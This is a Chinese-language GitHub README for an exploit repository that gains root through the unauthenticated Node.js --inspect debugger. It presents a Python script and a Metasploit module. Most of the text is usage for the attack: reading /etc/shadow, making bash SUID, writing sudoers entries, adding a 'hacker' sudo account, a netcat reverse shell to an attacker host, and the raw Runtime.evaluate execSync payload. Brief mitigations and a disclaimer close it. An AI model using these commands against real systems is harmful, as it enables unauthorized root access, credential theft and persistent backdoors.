BHBarlow/node-inspector-rce

GitHub: BHBarlow/node-inspector-rce

针对以 root 身份运行且启用 --inspect 调试器的 Node.js 进程的本地提权利用工具,提供 Python 脚本和 Metasploit 模块两种利用方式。

Stars: 0 | Forks: 0

# Node.js Inspector 漏洞利用 — 本地提权与 Metasploit 一个本地权限提升(LPE)漏洞利用工具,针对以 **root** 用户身份运行且启用了 `--inspect` 调试器标志的 Node.js 进程。包含一个用于在目标主机上直接利用的独立 Python 脚本,以及一个用于通过 SSH 隧道或 MSF 端口转发进行远程利用的 Metasploit Framework 模块。 ## 漏洞原理 当 Node.js 启动时带有 `--inspect`(或 `--inspect-brk`)参数,它会开启一个 **V8 Inspector Protocol** 端点 —— 通常位于 `127.0.0.1:9229`。此调试器暴露了一个 WebSocket,该 WebSocket 接受 `Runtime.evaluate` 命令,从而允许在正在运行的进程内执行**任意 JavaScript 代码**。 如果该进程以 **root** 身份运行,任何通过调试器执行的代码都将继承 root 权限。Inspector 端点没有任何身份验证。 ### 攻击流程 ``` ┌──────────────────────────────────────────────────────────────┐ │ Target Server │ │ │ │ ┌────────────────────────────────┐ │ │ │ node --inspect worker.js │ ← Running as root │ │ │ Listening: 127.0.0.1:9229 │ │ │ └──────────┬─────────────────────┘ │ │ │ WebSocket (no auth) │ │ ▼ │ │ ┌────────────────────────────────┐ │ │ │ Attacker (low-priv user) │ │ │ │ Connects to localhost:9229 │ │ │ │ Sends Runtime.evaluate │ │ │ │ → Executes code as root │ │ │ └────────────────────────────────┘ │ └──────────────────────────────────────────────────────────────┘ ``` ### 发现方法 拥有低权限 shell 的攻击者可以通过标准的枚举手段发现此易受攻击的进程: ``` ps aux | grep inspect # root 1234 node --inspect=127.0.0.1:9229 /opt/app/worker.js ss -tlnp | grep 9229 # LISTEN 127.0.0.1:9229 ``` ## 工具 | 文件 | 描述 | |------|-------------| | `node_inspector_lpe.py` | 独立的 Python3 漏洞利用脚本 - 直接在目标主机上运行,零依赖 | | `node_inspector_rce.rb` | Metasploit Framework 模块 - 通过 SSH 隧道 + MSF 或 MSF Shell + MSF 端口转发进行远程利用 | ## 1. 本地 Python 漏洞利用 (`node_inspector_lpe.py`) 一个无依赖的 Python3 脚本,用于在主机上进行本地利用。当您已经在目标主机上拥有低权限 shell 时非常理想。 ### 要求 - Python 3.x(无需 pip 包) - 在目标主机上可以访问 `127.0.0.1:9229` ### 用法 ``` # 转移到 target wget http://:8000/node_inspector_lpe.py # 或 scp node_inspector_lpe.py @:/tmp/ ``` #### 验证 Root 执行 ``` python3 node_inspector_lpe.py --payload id ``` ``` [+] Result: uid=0(root) gid=0(root) groups=0(root) ``` #### 以 Root 身份读取文件 ``` python3 node_inspector_lpe.py --payload read --file /root/root.txt python3 node_inspector_lpe.py --payload read --file /etc/shadow ``` #### 获取 Root Shell **选项 A - SUID Bash(推荐):** ``` python3 node_inspector_lpe.py --payload suid bash -p # uid=1000(engineer) euid=0(root) ``` **选项 B - Sudoers 条目:** ``` python3 node_inspector_lpe.py --payload sudoers --user engineer sudo -s # root@target:# ``` **选项 C - 反向 Shell:** ``` # Attacker 机器: nc -lvnp 4444 # Target: python3 node_inspector_lpe.py --payload revshell --lhost --lport 4444 ``` #### 运行任意命令 ``` python3 node_inspector_lpe.py --payload cmd --cmd "cat /etc/shadow" python3 node_inspector_lpe.py --payload cmd --cmd "useradd -m -s /bin/bash -G sudo hacker" ``` ### 所有选项 ``` --host Inspector host (default: 127.0.0.1) --port Inspector port (default: 9229) --payload id | suid | sudoers | revshell | cmd | read --lhost Attacker IP (for revshell) --lport Attacker port (for revshell) --cmd Command string (for cmd) --file File path (for read) --user Username for sudoers (default: engineer) --ws-url Provide WebSocket URL directly (skip /json discovery) ``` ## 2. Metasploit 模块 (`node_inspector_rce.rb`) 一个完整的 Metasploit 漏洞利用模块,用于从您的攻击机进行远程利用。支持标准的 MSF payload、`check` 方法,并与 MSF 端口转发功能集成。 ### 安装 ``` mkdir -p ~/.msf4/modules/exploits/multi/misc/ cp node_inspector_rce.rb ~/.msf4/modules/exploits/multi/misc/ ``` 在 `msfconsole` 中: ``` reload_all ``` ### 端口转发(必需) Inspector 绑定到 `127.0.0.1` - 无法从您的攻击机直接访问。您必须先转发该端口。 **方法 1 - SSH 隧道:** ``` # 在单独的终端中(保持打开): ssh -L :127.0.0.1: @ ``` **方法 2 - MSF portfwd(通过已有的 Meterpreter 会话):** ``` meterpreter> portfwd add -l -p -r 127.0.0.1 ``` ### 用法 ``` msf6> use exploit/multi/misc/node_inspector_rce msf6> set RHOSTS 127.0.0.1 msf6> set RPORT msf6> set PAYLOAD cmd/unix/reverse_bash msf6> set LHOST msf6> set LPORT msf6> check msf6> exploit ``` ### Payload 兼容性 | Payload | 备注 | |---------|-------| | `cmd/unix/reverse_bash` | 推荐 - 使用 `/dev/tcp` | | `cmd/unix/reverse_netcat` | 如果 bash 不支持 `/dev/tcp` 的良好替代方案 | | `cmd/unix/reverse_python` | 如果目标上有 Python 则最为可靠 | | `cmd/unix/reverse_perl` | 如果 Perl 可用则可正常工作 | | `cmd/linux/http/*/meterpreter/*` | 无法工作 - 分阶段的二进制 payload | ### 模块选项 ``` Name Required Default Description ---- -------- ------- ----------- RHOSTS yes Target host (127.0.0.1 through tunnel) RPORT yes 9229 Inspector port TARGETURI yes / Base path for inspector HTTP endpoint WS_URL no WebSocket URL override (skip /json) WS_TIMEOUT yes 10 WebSocket operation timeout (seconds) ``` ## 工作原理(技术细节) 这两种工具遵循相同的漏洞利用流程: ### 步骤 1 - 会话发现 查询 Inspector 的 HTTP 元数据端点以查找活动的调试器会话: ``` GET http://127.0.0.1:9229/json ``` 响应: ``` [{ "id": "30803e60-e694-4c5f-811a-4660f28bfd0b", "title": "/opt/app/worker.js", "type": "node", "webSocketDebuggerUrl": "ws://127.0.0.1:9229/30803e60-e694-4c5f-..." }] ``` ### 步骤 2 - WebSocket 连接 使用 V8 Inspector Protocol(Chrome DevTools Protocol)连接到 `webSocketDebuggerUrl`。该连接无需身份验证。 ### 步骤 3 - 启用 Runtime 域 ``` {"id": 1, "method": "Runtime.enable"} ``` ### 步骤 4 - 执行 Payload ``` { "id": 42, "method": "Runtime.evaluate", "params": { "expression": "require('child_process').execSync('id').toString()", "returnByValue": true } } ``` 响应: ``` { "id": 42, "result": { "result": { "type": "string", "value": "uid=0(root) gid=0(root) groups=0(root)\n" } } } ``` 代码将以拥有该 Node.js 进程的同一用户身份执行 - 通常是 **root**。 ## 缓解措施 | 建议 | 详情 | |----------------|---------| | **绝不以 root 身份运行 Node.js** | 使用专用的低权限服务账户 | | **绝不在生产环境中使用 `--inspect`** | 调试器应仅在开发环境中使用 | | **仅绑定到 localhost** | 如果必须进行调试,请确保使用 `--inspect=127.0.0.1:9229`(默认) — 绝不使用 `0.0.0.0` | | **谨慎使用 `--inspect`** | 即使绑定到 localhost,任何本地用户仍然可以对其进行利用 | | **网络隔离** | 防火墙规则应阻止所有非开发主机访问 9229 端口 | | **进程监控** | 对任何使用 `--inspect` 标志运行的 Node.js 进程进行告警 | ## 参考 - [Node.js 调试指南](https://nodejs.org/en/docs/guides/debugging-getting-started) - [Chrome DevTools Protocol — Runtime.evaluate](https://chromedevtools.github.io/devtools-protocol/v8/Runtime/#method-evaluate) - [V8 Inspector Protocol](https://v8.dev/docs/inspector) ## 免责声明 本工具仅供**授权的安全测试和教育目的**使用。请仅在您拥有或获得明确书面授权的系统上使用它。未经授权访问计算机系统是非法的。作者对滥用行为不承担任何责任。 ## 许可证 MIT
标签:GNU通用公共许可证, Node.js, Web报告查看器, 安全, 本地提权, 超时处理